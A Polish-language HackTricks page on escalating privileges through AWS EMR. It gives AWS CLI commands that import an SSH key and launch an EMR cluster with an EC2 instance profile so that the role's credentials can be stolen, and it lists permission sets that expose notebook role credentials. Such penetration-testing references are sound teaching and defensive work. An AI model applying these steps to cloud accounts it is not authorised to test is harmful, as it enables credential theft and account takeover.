AWS - EMR Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

EMR

Więcej informacji o EMR w:

AWS - EMR Enum

iam:PassRole, elasticmapreduce:RunJobFlow

Atakujący posiadający te uprawnienia może uruchomić nowy klaster EMR z przypiętymi EC2 roles i spróbować wykradać jego poświadczenia.
Należy pamiętać, że aby to zrobić, trzeba znać jakiś ssh priv key zaimportowany w koncie lub zaimportować własny, oraz być w stanie open port 22 in the master node (może być to możliwe przy użyciu atrybutów EmrManagedMasterSecurityGroup i/lub ServiceAccessSecurityGroup wewnątrz --ec2-attributes).

# Import EC2 ssh key (you will need extra permissions for this)
ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
chmod 400 /tmp/sshkey
base64 /tmp/sshkey.pub > /tmp/pub.key
aws ec2 import-key-pair \
--key-name "privesc" \
--public-key-material file:///tmp/pub.key


aws emr create-cluster \
--release-label emr-5.15.0 \
--instance-type m4.large \
--instance-count 1 \
--service-role EMR_DefaultRole \
--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc

# Wait 1min and connect via ssh to an EC2 instance of the cluster)
aws emr describe-cluster --cluster-id <id>
# In MasterPublicDnsName you can find the DNS to connect to the master instance
## You cna also get this info listing EC2 instances

Zwróć uwagę, że EMR role jest określona w --service-role, a ec2 role jest określona w --ec2-attributes wewnątrz InstanceProfile. Jednak ta technika pozwala jedynie na kradzież poświadczeń roli EC2 (ponieważ połączysz się przez ssh), a nie roli IAM EMR.

Potential Impact: Privesc do wskazanej roli serwisowej EC2.

elasticmapreduce:CreateEditor, iam:ListRoles, elasticmapreduce:ListClusters, iam:PassRole, elasticmapreduce:DescribeEditor, elasticmapreduce:OpenEditorInConsole

Dzięki tym uprawnieniom atakujący może wejść do AWS console, utworzyć Notebook i uzyskać do niego dostęp, aby przejąć IAM Role.

Caution

Nawet jeśli przypiszesz IAM role do instancji notebooka, w moich testach zauważyłem, że byłem w stanie ukraść AWS managed credentials, a nie poświadczenia związane z przypisaną IAM role.

Potential Impact: Privesc do AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

elasticmapreduce:OpenEditorInConsole

Tylko z tym uprawnieniem atakujący będzie mógł uzyskać dostęp do Jupyter Notebook i ukraść powiązaną z nim IAM role.
URL notebooka to https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/

Caution

Nawet jeśli przypiszesz IAM role do instancji notebooka, w moich testach zauważyłem, że byłem w stanie ukraść AWS managed credentials, a nie poświadczenia związane z przypisaną IAM role.

Potential Impact: Privesc do AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks